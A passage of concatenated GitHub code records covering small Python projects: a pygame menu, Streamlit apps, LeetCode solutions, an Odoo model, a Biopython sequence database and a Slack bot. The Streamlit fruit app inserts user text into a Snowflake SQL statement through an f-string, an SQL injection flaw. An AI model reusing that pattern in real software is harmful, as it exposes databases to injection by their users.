self.menu_x, self.menu_y = self.game.DISPLAY_W*.1 , self.game.DISPLAY_H*.15\n self.menu_options = {0: \"Resume\", 1: \"Save\", 2: \"Create custom\", 3: \"Controls\", 4: \"Exit\"}\n self.index = 0\n self.saved = False\n \n \n self.cursor_radius = 15\n self.cursor_img = pygame.Surface((self.cursor_radius * 2, self.cursor_radius * 2))\n self.cursor_img.fill(\"white\")\n pygame.draw.circle(self.cursor_img, \"black\", (self.cursor_radius, self.cursor_radius), self.cursor_radius)\n pygame.draw.circle(self.cursor_img, \"white\", (self.cursor_radius, self.cursor_radius), self.cursor_radius - 3)\n self.cursor_img.set_colorkey(\"white\")\n self.cursor_pos_y = self.menu_y + self.game.DISPLAY_H*.7 / (1 + (len(self.menu_options))) \n self.cursor_x, self.cursor_y = self.menu_x + 50 - self.cursor_radius, self.cursor_pos_y - self.cursor_radius\n \n \n def update_cursor(self, actions):\n if actions[\"down\"]:\n self.index = (self.index + 1) % len(self.menu_options)\n elif actions[\"up\"]:\n self.index = (self.index - 1) % len(self.menu_options)\n self.cursor_y = self.cursor_pos_y + (self.index * self.game.DISPLAY_H*.7 / (1 + (len(self.menu_options)))) - self.cursor_radius\n \n \n def update(self, delta_time, actions):\n self.update_cursor(actions)\n if actions[\"back\"]:\n self.exit_state()\n if actions[\"start\"]:\n self.transition_state()\n self.game.reset_keys()\n \n def render(self, display):\n self.prev_state.render(display)\n self.menu_img.fill(\"white\")\n self.game.draw_text(self.menu_img, \"Resume\", 30, \"black\", self.game.DISPLAY_W *.3 / 2, self.game.DISPLAY_H*.7 / (1 + (len(self.menu_options))))\n if self.saved:\n self.game.draw_text(self.menu_img, \"Saved!\", 30, (50, 255, 50), self.game.DISPLAY_W *.3 / 2, 2 * self.game.DISPLAY_H*.7 / (1 + (len(self.menu_options))))\n else:\n self.game.draw_text(self.menu_img, \"Save\", 30, \"black\", self.game.DISPLAY_W *.3 / 2, 2 * self.game.DISPLAY_H*.7 / (1 + (len(self.menu_options))))\n self.game.draw_text(self.menu_img, \"Create Planet\", 15, \"black\", self.game.DISPLAY_W *.3 / 2, 3 * self.game.DISPLAY_H*.7 / (1 + (len(self.menu_options))))\n self.game.draw_text(self.menu_img, \"Controls\", 30, \"black\", self.game.DISPLAY_W *.3 / 2, 4 * self.game.DISPLAY_H*.7 / (1 + (len(self.menu_options))))\n self.game.draw_text(self.menu_img, \"Exit\", 30, \"black\", self.game.DISPLAY_W *.3 / 2, 5 * self.game.DISPLAY_H*.7 / (1 + (len(self.menu_options))))\n display.blit(self.menu_img, (self.menu_x, self.menu_y))\n display.blit(self.cursor_img, (self.cursor_x, self.cursor_y))\n \n \n def transition_state(self):\n if self.menu_options[self.index] == \"Resume\":\n self.exit_state()\n elif self.menu_options[self.index] == \"Save\" and not self.saved:\n self.saved = True\n with open(os.path.join(self.game.save_dir, \"save 1.txt\"), 'w') as save_file:\n for _, body in CelestialBody.bodies.items():\n new_dict = {}\n new_dict[\"mass\"] = body.mass\n new_dict[\"radius\"] = body.radius\n new_dict[\"x\"] = float(body.pos[0])\n new_dict['y'] = float(body.pos[1])\n new_dict[\"vx\"] = float(body.velocity[0])\n new_dict[\"vy\"] = float(body.velocity[1])\n new_dict[\"color\"] = body.color\n json.dump(new_dict, save_file)\n save_file.write('\\n')\n elif self.menu_options[self.index] == \"Create custom\":\n new_state = PlanetCreation(self.game)\n new_state.enter_state()\n elif self.menu_options[self.index] == \"Controls\":\n new_state = Controls(self.game)\n new_state.enter_state()\n elif self.menu_options[self.index] == \"Exit\":\n self.game.scale_factor = 1\n self.game.display_x, self.game.display_y = 0, 0\n self.prev_state.restart()\n self.exit_state()\n self.prev_state.prev_state.exit_state()\n self.prev_state.prev_state.prev_state.exit_state()\n self.game.timeStep = 1 / self.game.fps","repo_name":"TheSuperShell/SpaceGame","sub_path":"Игра космос/states/pause_menu.py","file_name":"pause_menu.py","file_ext":"py","file_size_in_byte":4776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"37907986272","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 14 14:53:31 2017\n\n@author: coskun\n\"\"\"\n\ncube = 29\nepsilon = 0.01\nguess = 0.0\nincrement = 0.001\nnum_guesses = 0\n\nwhile abs(guess**3 -cube) >= epsilon and guess <= cube:\n guess += increment\n num_guesses += 1\nprint(\"number of guess= \", num_guesses)\nif abs(guess**3 - cube) >= epsilon:\n print(\"failed on cube root of\", cube)\nelse:\n print(guess, \"is close enoght to cube root of\", cube)\n","repo_name":"coshkun/6.00.1x-MITx-Course-Training-Lab-Notes","sub_path":"anaconda/6.00.1x.W2T3.Simple.Algorithms.V2.py","file_name":"6.00.1x.W2T3.Simple.Algorithms.V2.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"18967303403","text":"import streamlit as stl\nimport pandas as pd\nimport requests\nimport snowflake.connector\nfrom urllib.error import URLError\n\nmy_fruit_list = pd.read_csv(\"https://uni-lab-files.s3.us-west-2.amazonaws.com/dabw/fruit_macros.txt\")\nmy_fruit_list = my_fruit_list.set_index('Fruit')\n\nstl.title('My parents new healthy diner')\n\nstl.header('Breakfast menu')\n\nstl.text('🥣 Omega 3 & Blueberry oatmeal')\nstl.text('🥗 Kale, spinach & rocket smothie')\nstl.text('🐔 Hard-boiled free-range egg')\nstl.text('🥑🍞 Avocado toast')\n\nstl.header('🍌🥭 Build Your Own Fruit Smoothie 🥝🍇')\n\n# Let's put a pick list here so they can pick the fruit they want to include \nfruits_selected = stl.multiselect(\"Pick some fruits:\", list(my_fruit_list.index), ['Avocado', 'Strawberries'])\nfruits_to_show = my_fruit_list.loc[fruits_selected]\n\n# Display the table on the page.\nstl.dataframe(fruits_to_show)\n\nstl.header(\"Fruityvice Fruit Advice!\")\n\ndef get_fruityvice_data(this_fruit_choice):\n fruityvice_response = requests.get(f\"https://fruityvice.com/api/fruit/{this_fruit_choice}\")\n # normalize json response\n fruityvice_normalized = pd.json_normalize(fruityvice_response.json())\n \n return fruityvice_normalized\n\ntry:\n \n fruit_choice = stl.text_input('What fruit would you like information about?')\n \n if not fruit_choice:\n stl.error(\"Please select fruit to get information.\")\n \n else:\n # display response as table\n stl.dataframe(get_fruityvice_data(fruit_choice))\n \nexcept URLError as e:\n \n stl.error()\n\nstl.header(\"View our fruit list - Add you favourites !\")\n\ndef get_fruit_load_list():\n with my_cnx.cursor() as my_cur:\n my_cur.execute(\"SELECT * from fruit_load_list\")\n return my_cur.fetchall()\n \nif stl.button('Get fruit load list'):\n my_cnx = snowflake.connector.connect(**stl.secrets[\"snowflake\"])\n my_data_rows = get_fruit_load_list()\n my_cnx.close()\n stl.dataframe(my_data_rows)\n\ndef insert_row_snowflake(new_fruit):\n with my_cnx.cursor() as my_cur:\n my_cur.execute(f\"insert into pc_rivery_db.public.fruit_load_list values ('{new_fruit}')\")\n return f'Thanks for adding {new_fruit}'\n\n# allow user to add afruit to the list\nadd_my_fruit = stl.text_input('What fruit would you like to add ?')\n\nif stl.button('Add a fruit to the list'):\n stl.write('Thank you for adding ', add_my_fruit)\n my_cnx = snowflake.connector.connect(**stl.secrets[\"snowflake\"])\n back_from_function = insert_row_snowflake(add_my_fruit)\n my_cnx.close()\n stl.text(back_from_function)\n","repo_name":"quentinDosInetum/first_streamlit_app","sub_path":"streamlit_app.py","file_name":"streamlit_app.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"74126175109","text":"'''\nYou're given a two-dimensional array of distinct integers and a target integer. \nEach row in the matrix is sorted, and each colunm is also sorted; \nthe matrix doesn't necessarily have the same height and width.\n\nWrite a function that returns an array of the row and column indices of the target integer \nif it's contained in the matrix, otherwise return [-1, -1]\n\nOptimal solution is O(n+m)time O(1)space\n\nmatrix = [\n [1, 4, 7, 12, 15, 1000],\n [2, 5, 19, 31, 32, 1001],\n [3, 8, 24, 33, 35, 1002],\n [40, 41, 42, 44, 45, 1003],\n [99, 100, 103, 106, 128, 1004]\n ]\n\ntarget = 44 => return [3,3]\ntarget = 46 => return [-1,-1]\n'''\n\nmatrix = [\n [1, 4, 7, 12, 15, 1000],\n [2, 5, 19, 31, 32, 1001],\n [3, 8, 24, 33, 35, 1002],\n [40, 41, 42, 44, 45, 1003],\n [99, 100, 103, 106, 128, 1004]\n ]\n\n# ==== Solution 1 - start from the top right corner ====\ndef find_target(matrix, target):\n \n # Start from the top right corner\n r = 0\n c = len(matrix[0]) - 1\n\n while c >= 0 and r < len(matrix):\n\n if target < matrix[r][c]:\n c -= 1\n elif target > matrix[r][c]:\n r += 1\n else:\n return [r,c] \n return [-1,-1]\n\n\nassert find_target(matrix, 44) == [3,3]\nassert find_target(matrix, 46) == [-1,-1]\nassert find_target(matrix, 35) == [2,4]\nassert find_target(matrix, 1003) == [3,5]\n\n","repo_name":"Lynguyen237/practice_probs","sub_path":"find_target_in_sorted_arr.py","file_name":"find_target_in_sorted_arr.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"19011736954","text":"\n\nimport numpy as np\nimport pandas as pd\nimport streamlit as st\nimport pickle\n\n\n# SETTING PAGE CONFIG TO WIDE MODE AND ADDING A TITLE AND FAVICON\nst.set_page_config(layout=\"wide\", page_title=\"NYC Ridesharing Demo\", page_icon=\":chart_with_upwards_trend:\")\n\nst.title(\"Credit Card Approval \")\n\ndf = pd.read_csv('cleaned_df')\n\nmodel = pickle.load(open('credit_model.sav','rb'))\n\nsample = df.sample()\n\nyy = sample.drop(['high_risk','Unnamed: 0'],axis=1)\n\nyy\n\nresult = model.predict(yy)\n\nresult[0]\n\nst.write(\n\"\"\"\n## Gender\n\n\"\"\")\n\ninput_age = np.negative(st.slider('Select your age', value=42, min_value=18, max_value=70,step=1) *365.25)\n\nage = np.abs(input_age)\nage","repo_name":"Jayem-11/Loan-Approval","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"29162411603","text":"from typing import Any\nimport inspect\nimport logging\nfrom pesto.ws.core.utils import load_class\nfrom dataclasses import fields\n\nfrom pesto.ws.core.pesto_feature import PestoFeature\n\nlog = logging.getLogger(__name__)\n\n\nclass AlgorithmWrapper(PestoFeature):\n\n def __init__(self, algorithm: Any, input_class, output_class):\n self.algorithm = algorithm\n self.input_class=input_class\n self.output_class = output_class\n\n def process(self, payload: dict) -> dict:\n params = list(inspect.signature(self.algorithm.process).parameters.values())\n if self.input_class and len(params)==1 and params[0].annotation and params[0].annotation == self.input_class: \n log.info(\"Provide the parameters in one input object\")\n # Folding the body within the input object\n payload = self.algorithm.process(self.input_class(**payload))\n else:\n log.info(\"Provide directly the parameters\")\n payload = self.algorithm.process(**payload)\n if self.output_class and isinstance(payload, self.output_class):\n # Unfolding the output object within a dictionary\n payload={field.name: getattr(payload, field.name) for field in fields(payload)}\n return payload\n","repo_name":"AirbusDefenceAndSpace/pesto","sub_path":"pesto-cli/pesto/ws/features/algorithm_wrapper.py","file_name":"algorithm_wrapper.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"26"} +{"seq_id":"27842955844","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n\"\"\"\nSTMD modelling for simple homogeneous stimulus translating to the right\n\"\"\"\n\n# =============================================================================\n# X-Y map of object moving\n# =============================================================================\n\nt_sim = 100 # timesteps\nv = 20 # pix/timestep\noffset = 0\nnum_neurons = 50\nheight = 20 # pix\n\nvf = np.zeros((num_neurons, t_sim))\nylims = (vf.shape[0]-height) // 2 + np.arange(height) + offset # offset in y_direction\nstart = [ylims, 0]\n\ndef translation(t, v, x_init):\n return v * t + x_init\n\nfor t in range(t_sim):\n dist = translation(t, v, x_init=start[1])\n if dist < vf.shape[1]:\n vf[start[0], dist] = 10\n else:\n break\n \n# =============================================================================\n# Neuron models - LIF\n# =============================================================================\n\n# F-I curve\n# k = slope, x0 = midpoint\npars_F = {'b': 1.0, 'k': 1.2, 'x0': 5.0}\npars_dyn = {'w_E': 0.6, 'w_I': 0.2, 'dt': 1.0, 'tau': 2.0, 'r_init': 0.0}\n\nr = np.zeros(vf.shape)\nr[0] = pars_dyn['r_init']\n\ndt, tau = pars_dyn['dt'], pars_dyn['tau']\nw_E, w_I = pars_dyn['w_E'], pars_dyn['w_I']\n\nclass neuron_dynamics:\n def __init__(self, **pars_FI):\n self.b = pars_FI['b']\n self.k = pars_FI['k']\n self.x0 = pars_FI['x0']\n \n def F(self, b, k, I, x0):\n return b / (1 + np.exp(-k * (I-x0)))\n\n def simulate(self, w, neuron_pop):\n for i in range(t_sim-1):\n I_ext = neuron_pop[:,i]\n dr = dt / tau * (-r[:,i] + self.F(self.b, self.k, w * r[:,i] + I_ext, self.x0))\n r[:,i+1] = r[:,i] + dr\n \n # fig, ax = plt.subplots()\n # ax.plot(range(t_sim), r[num_neurons // 2,:])\n \n return r\n\nx = neuron_dynamics(**pars_F)\n\ntol = 0.01\nrE = x.simulate(10, vf) # photoreceptor (P), P-E and P-I synaptic weights = 10\nrE[rE < tol] = 0\n\nrI = rE.copy()\n\n# Lateral inhibition\nI_STMD = np.zeros(rI.shape)\n\nw = {'a': -0.33, 'b': -0.22}\nc_i = np.array(['b', 'a', 'a', 'b'])\nw_spatial_mat = np.array([-2, -1, 1, 2])\n\nw_i = np.asarray([w[i] for i in c_i])\n\nfor col in range(t_sim-2):\n for row in range(rI.shape[0]):\n if row < rI.shape[0] - (len(w_spatial_mat) // 2):\n I_STMD[row + w_spatial_mat, col+2] += w_i * rI[row, col]\n\n# Inverse to get current and then plug into LIF to get firing rate or rate fine as is?\n \nSTMD = pars_dyn['w_E'] * rE + pars_dyn['w_I'] * I_STMD\nprint(STMD.max())\n\nfig, ax = plt.subplots()\nax.plot(np.arange(10, step=0.1), x.F(pars_F['b'], pars_F['k'], np.arange(10, step=0.1), pars_F['x0']))\nplt.xlabel('I [a.u.]')\nplt.ylabel('Firing rate [Hz]')","repo_name":"anindyaghosh/STMD","sub_path":"STMD.py","file_name":"STMD.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"43380570602","text":"from functools import lru_cache\n\n# # least recently used cache\n# @lru_cache(maxsize=1000)\n# def fib(n):\n# # recursive method\n# if n == 1:\n# return 1\n# elif n == 2:\n# return 1\n# elif n > 2:\n# return fib(n - 1) + fib(n - 2)\n\n\nfibonaci_cach = {}\n\n\ndef fibb(n):\n # if we have cahced the value then return it\n if n in fibonaci_cach:\n return fibonaci_cach[n]\n\n if n == 1:\n value = 1\n elif n == 2:\n value = 1\n elif n > 2:\n value = fibb(n - 1) + fibb(n - 2)\n # cache the value and return it\n fibonaci_cach[n] = value\n return value\n\n\nfor n in range(1, 501):\n print(n, \":\", fibb(n))\n","repo_name":"SunnyRo/Python","sub_path":"Beginner/fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"72975640386","text":"#!/usr/local/bin/python3.3\n\nimport os\nimport sys\n\npb_dir=os.path.join(os.path.dirname(os.path.abspath(__file__)), 'tools', 'pb')\nprint(pb_dir);\nsys.path.append(pb_dir)\npbdir_count=pb_dir.count('..')\nprint(pbdir_count);\n\nimport refreshProtos\n\nconfig = refreshProtos.Config()\n\nconfig.protos_dir = 'protos'\nconfig.java_out = './src/main/java'\n\nrefreshProtos.refresh(config,pbdir_count)\n\n","repo_name":"tianfei1984/gps-app","sub_path":"gps_common/refresh-protos.py","file_name":"refresh-protos.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"25"} +{"seq_id":"16351778686","text":"import supereeg as se\nimport numpy as np\nimport sys\nimport os\nimport scipy.spatial.distance as sd\nfrom supereeg.helpers import get_rows\nfrom supereeg.helpers import _z2r, _r2z\nimport glob as glob\nfrom config import config\n\n\nresults_dir = os.path.join(config['compare_datadir'])\n\ntry:\n if not os.path.exists(results_dir):\n os.makedirs(results_dir)\nexcept OSError as err:\n print(err)\n\nfname = sys.argv[1]\n\nmodel_dir = os.path.join(config['model_datadir'])\n\nbo_dir = config['bof_datadir']\n\nfname = os.path.basename(os.path.splitext(fname)[0])\n\nprint('creating model object: ' + fname)\n\n# load brain object\npath_info, i, j = sys.argv[1][:-3].rsplit(\"_\", 2)\n\nbo = se.load(os.path.join(bo_dir, 'sub-%d.bo' % int(j)))\n\n# filter\nbo.filter=None\n\nmo_fname = (sys.argv[1][:-3]+ '.mo').replace('bo_sub', 'models')\n\n# make model\nmo = se.load(mo_fname)\n\nave_dir = config['ave_datadir']\n\nave ='sub_locs_ave_model.mo'\n\nave_mo = se.load(os.path.join(ave_dir, ave))\n\nsub_inds = get_rows(bo.get_locs().values, ave_mo.get_locs().values)\n\nsubbo = bo[:, sub_inds]\n\ntrue_model = se.Model(subbo, locs = ave_mo.get_locs().values)\n\ndef upper_tri_indexing(A):\n m = A.shape[0]\n r,c = np.triu_indices(m,1)\n return A[r,c]\n\ndef model_diff(z_model1, z_model2):\n\n return np.abs(upper_tri_indexing(z_model1) - upper_tri_indexing(z_model2))\n\nd_mo = model_diff(mo.get_model(z_transform=True), true_model.get_model(z_transform=True))\n\nd_ave = model_diff(ave_mo.get_model(z_transform=True), true_model.get_model(z_transform=True))\n\n\nrecon_outfile = os.path.join(results_dir, os.path.basename(fname + '.npz'))\n\nnp.savez(recon_outfile, d_ave=d_ave.mean(), d_mo=d_mo.mean())","repo_name":"ContextLab/supereeg_paper","sub_path":"code/scripts/simulation/fmri_sim/fmri_compare_models.py","file_name":"fmri_compare_models.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"25"} +{"seq_id":"21675345172","text":"import logging\nfrom datetime import datetime\nfrom odoo import api, fields, models, _\n\n_logger = logging.getLogger(__name__)\n\n\nclass Doctor(models.Model):\n _name = 'hr_hospital.doctor'\n _description = 'Doctor'\n _inherit = {'hr_hospital.person': 'person_id'}\n\n person_id = fields.Many2one(comodel_name='hr_hospital.person',\n string='Person')\n profession = fields.Char(required=True,\n translate=True)\n is_intern = fields.Boolean(string='This is doctor-intern')\n doctor_mentor_id = fields.Many2one(comodel_name='hr_hospital.doctor',\n string='Doctor (as mentor)',\n domain=[('is_intern', \"=\", False)])\n intern_ids = fields.One2many(\n string='List of interns',\n comodel_name='hr_hospital.doctor',\n inverse_name='doctor_mentor_id'\n )\n patient_ids = fields.One2many(\n string='List of patients',\n comodel_name='hr_hospital.patient',\n inverse_name='personal_doctor_id'\n )\n visit_ids = fields.One2many(\n string='List of visits',\n comodel_name='hr_hospital.visit_doctor',\n inverse_name='doctor_id'\n )\n\n active = fields.Boolean(default=True)\n\n def action_make_new_visit_to_doctor(self):\n # for rec in self:\n ctx = {\n 'default_visit_time':\n datetime.now(),\n 'default_doctor_id':\n self.id,\n\n }\n\n return {\n 'name': _('Visit doctor'),\n 'type': 'ir.actions.act_window',\n 'view_mode': 'form',\n 'res_model': 'hr_hospital.visit_doctor',\n 'target': 'new',\n 'context': ctx,\n }\n\n def get_doctor_profession(self):\n self.ensure_one()\n return f'{self.profession}'\n\n @api.onchange('is_intern')\n def onchange_is_intern(self):\n if self.is_intern:\n self.doctor_mentor_id = self.env.ref('hr_hospital.datadoctor_1')\n else:\n self.doctor_mentor_id = False\n","repo_name":"pua00/15.0","sub_path":"hr_hospital/models/doctor.py","file_name":"doctor.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"71683580226","text":"class Solution:\n def groupAnagrams(self, strs: List[str]) -> List[List[str]]:\n if len(strs) <= 1:\n return [strs]\n\n answer = {}\n for word in strs:\n word_hash = hash(\"\".join(sorted(word)))\n if not answer.get(word_hash):\n answer[word_hash] = [word]\n else:\n answer[word_hash].append(word)\n\n return answer.values()\n\n","repo_name":"BMariscal/coding-challenges","sub_path":"leetcode/49.py","file_name":"49.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"70034288387","text":"\"\"\"814. Binary Tree Pruning\nhttps://leetcode.com/problems/binary-tree-pruning/\n\"\"\"\nfrom common.tree_node import TreeNode\nfrom typing import Optional\n\n\nclass Solution:\n def pruneTree(self, root: Optional[TreeNode]) -> Optional[TreeNode]:\n def dfs(node: Optional[TreeNode]) -> bool:\n if not node:\n return False\n a = dfs(node.left)\n if not a:\n node.left = None\n b = dfs(node.right)\n if not b:\n node.right = None\n if not (a or b):\n return node.val == 1\n return True\n\n dummy = TreeNode(1, left=root)\n dfs(dummy)\n return dummy.left\n","repo_name":"isudox/nerd-algo","sub_path":"python-algo/leetcode/problem_814.py","file_name":"problem_814.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"25"} +{"seq_id":"2084432949","text":"class Solution(object):\n \n def gameOfLife(self, board):\n \"\"\"\n :type board: List[List[int]]\n :rtype: void Do not return anything, modify board in-place instead.\n \"\"\"\n \n # 0 -> 2 dead to live\n # 1 -> 3 live to dead\n \n for row in range(len(board)):\n for col in range(len(board[0])):\n count = self.countNeighbors(board, row, col)\n live = board[row][col]\n \n if live and count < 2:\n board[row][col] = 3\n elif live and count >3:\n board[row][col] = 3\n elif not live and count == 3:\n board[row][col] = 2\n \n for row in range(len(board)):\n for col in range(len(board[0])):\n cell = board[row][col] \n \n if cell == 2:\n board[row][col] = 1\n elif cell == 3:\n board[row][col] = 0\n \n \n def countNeighbors(self, board, row, col):\n rows = len(board)\n cols = len(board[0])\n \n neighbors = [(col,row-1),(col+1,row-1),(col+1,row),(col+1,row+1),(col,row+1),(col-1,row+1),(col-1,row),(col-1,row-1)]\n count = 0\n \n for neighbor in neighbors:\n y = neighbor[0]\n x = neighbor[1]\n if x < 0 or y < 0 or x >= rows or y >= cols:\n continue\n if board[x][y] == 1 or board[x][y] == 3:\n count += 1\n \n return count\n","repo_name":"samevans/leetcode-solutions","sub_path":"python/0289 GameofLife.py","file_name":"0289 GameofLife.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"45052671904","text":"import re,os,datetime,pickle,time\nfrom Bio import Entrez,SeqIO\nfrom Bio.SeqRecord import SeqRecord\nfrom Bio.Seq import Seq\nfrom Bio.Alphabet import generic_dna\nfrom Bio.SeqUtils.CheckSum import seguid\n#from Bio.SeqUtils.CheckSum import seguid\n#from . import seqdbutils\nfrom requesters import entrez_requests\nfrom ghseqdb import seqdbutils\n\ndef getdnaseqs(acclist,email,api_key):\n# Entrez.email=email\n# Entrez.api_key=api_key\n srs=entrez_requests.getdnasrs(acclist,email,api_key)\n for sr in srs:\n print(sr,len(sr.seq),sr.id)\n\ndef update_entry(c,srid,sr):\n today=datetime.date.today()\n todaystr=f'{today.year}-{today.month:02d}-{today.day:02d}'\n try:\n accvrsn=sr.annotations['sequence_version']\n accvrsn=int(accvrsn)\n except:\n #print(f'cannot get version # for {srid}')\n accvrsn=None\n seq_checksum=seguid(sr.seq)\n pklseq=pickle.dumps(sr.seq)\n update_tuple=(accvrsn,todaystr,todaystr,seq_checksum,pklseq,0,srid)\n c.execute('''UPDATE DNATABLE SET version = (?), ncbiscan_date = (?), modify_date = (?), seq_checksum = (?),\\\n pklseq = (?), failcount = (?) WHERE acc = (?)''',update_tuple)\n\ndef update_failure(c,srid):\n today=datetime.date.today()\n todaystr=f'{today.year}-{today.month:02d}-{today.day:02d}'\n c.execute('''SELECT * FROM DNATABLE WHERE acc=(?)''',(srid,))\n fcount=c.fetchone()['failcount']+1\n update_tuple=(todaystr,fcount,srid)\n c.execute('''UPDATE DNATABLE SET ncbiscan_date = (?), failcount = (?) WHERE acc = (?)''',update_tuple)\n\ndef update_if_needed(c,srid,sr):\n today=datetime.date.today()\n todaystr=f'{today.year}-{today.month:02d}-{today.day:02d}'\n if sr is None:\n update_failure(c,srid)\n c.execute('''SELECT * FROM DNATABLE WHERE acc=(?)''',(srid,))\n row=c.fetchone()\n if sr is not None:\n newseq_checksum=seguid(sr.seq)\n prevseq_checksum=row['seq_checksum']\n if newseq_checksum==prevseq_checksum:\n c.execute('''UPDATE DNATABLE SET ncbiscan_date = (?) WHERE acc = (?)''',(todaystr,srid))\n else:\n print(f'overwriting {srid} due to diff in checksum')\n update_entry(c,srid,sr)\n\n\ndef build_dnatable(dbpathstr,email,api_key,newdb=False,acclist=[],customlistfile=None,refresh=False,retry_fails=False,stopat=None):\n Entrez.email=email\n Entrez.api_key=api_key\n conn=seqdbutils.gracefuldbopen(dbpathstr) \n c=conn.cursor()\n c.execute('''CREATE TABLE IF NOT EXISTS DNATABLE (acc text, version text, ncbiscan_date text, modify_date text,\\\n seq_checksum text,pklseq glob, failcount int)''')\n accs2find=[]\n if customlistfile:\n assert(os.path.exists(customlistfile))\n with open(customlistfile,'r') as f:\n accs2find.extend([x.strip() for x in f.readlines()])\n accs2find.extend(acclist)\n c.execute('''SELECT * FROM DNATABLE''')\n rows=c.fetchall()\n existing_accs=[x['acc'] for x in rows]\n newacc2find=list(set(accs2find).difference(existing_accs))\n print(f'{len(newacc2find)} new accession codes to check')\n print(newacc2find)\n today=datetime.date.today()\n todaystr=f'{today.year}-{today.month:02d}-{today.day:02d}'\n for srcnt,srid in enumerate(newacc2find):\n print(srid)\n new_tuple=(srid,None,todaystr,None,None,None,0)\n c.execute('''INSERT INTO DNATABLE VALUES (?,?,?,?,?,?,?)''',new_tuple)\n sr=entrez_requests.getdnasr(srid)\n if sr is not None:\n update_entry(c,srid,sr)\n else:\n update_failure(c,srid)\n if srcnt>0 and srcnt%10==0:\n time.sleep(5)\n conn.commit()\n #now look at old ones\n old2check=list(set(accs2find).union(existing_accs))\n print(f'now checking a bunch of previous: {len(old2check)} many')\n for srid in old2check:\n c.execute('''SELECT * FROM DNATABLE WHERE acc=(?)''',(srid,))\n row=c.fetchone()\n existingdate=datetime.date(*[int(x) for x in row['ncbiscan_date'].split('-')])\n days_since_update=(today-existingdate).days\n if days_since_update>90:\n sr=entrez_requests.getdnasr(srid)\n update_if_needed(c,srid,sr)\n conn.commit()","repo_name":"KirkVM/biodb","sub_path":"ghseqdb/dnatable.py","file_name":"dnatable.py","file_ext":"py","file_size_in_byte":4184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"16792521830","text":"def on_msg_evt(self, payload):\n data = payload['data']\n if not data.get('text'): return \n if data['channel'] != self.channel: return\n\n if data['text'].startswith('!leaderboard') or data['text'].startswith('!lb'):\n lb = self.redis.get_leaderboard()\n t = '*Leaderboard:*\\n'\n for i, u in enumerate(lb):\n t += f'*{i + 1}.* {u.name}: *{u.points}*\\n'\n self.post_msg(t)\n return\n\n if data['text'].startswith('!points'):\n u_id = data['user']\n user = self.get_user_name(u_id)\n p = self.redis.get_user_points(user)\n t = f'*{user}* is on {p}'\n t += 'point!' if p == 1 else 'points!'\n self.post_msg(t)\n return","repo_name":"JosephJvB/guess-what-another-bot","sub_path":"slack-rtm-client.py","file_name":"slack-rtm-client.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"25"} +{"seq_id":"6722657465","text":"import os\nfrom celery import Celery\n\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'automation_w_selenium.settings')\napp = Celery('automation_w_selenium')\n\n# Configure Celery\napp.config_from_object('django.conf:settings', namespace='CELERY')\napp.conf.result_backend = 'db+sqlite:///results.sqlite3' \nCELERY_BROKER_URL = 'redis://localhost:6379/0'\n\napp.autodiscover_tasks()","repo_name":"Aysell-Talibli/task","sub_path":"automation_w_selenium/celery.py","file_name":"celery.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"10045684472","text":"import glob\nimport os\nimport pickle\nfrom copy import deepcopy\nfrom dataclasses import dataclass\nfrom pathlib import Path\nfrom typing import Optional, Dict, Union\n\nimport numpy as np\nimport torch as t\n\n\n@dataclass\nclass Episode:\n states: Union[t.Tensor, Dict[str, t.Tensor]]\n actions: t.Tensor\n rewards: t.Tensor\n size: int\n done: bool\n\n def copy(self):\n if isinstance(self.states, t.Tensor):\n states = self.states.clone()\n else:\n states = {mod: val.clone() for mod, val in self.states.items()}\n return Episode(\n states=states,\n actions=self.actions.clone(),\n rewards=self.rewards.clone(),\n size=self.size,\n done=self.done,\n )\n\n def __repr__(self):\n ep_reward = t.sum(self.rewards).item()\n state_shapes = {mod: val.shape for mod, val in self.states.items()}\n return f'episode size {self.size} ' \\\n f'reward {ep_reward} ' \\\n f'action min {self.actions.min()} ' \\\n f'max {self.actions.max()} ' \\\n f'done {self.done}'\n # f'shapes {state_shapes} ' \\\n # f'actions {self.actions.shape} ' \\\n # f'rewards {self.rewards.shape} ' \\\n\n\n@dataclass\nclass Batch:\n state: Union[t.Tensor, Dict[str, t.Tensor]]\n action: 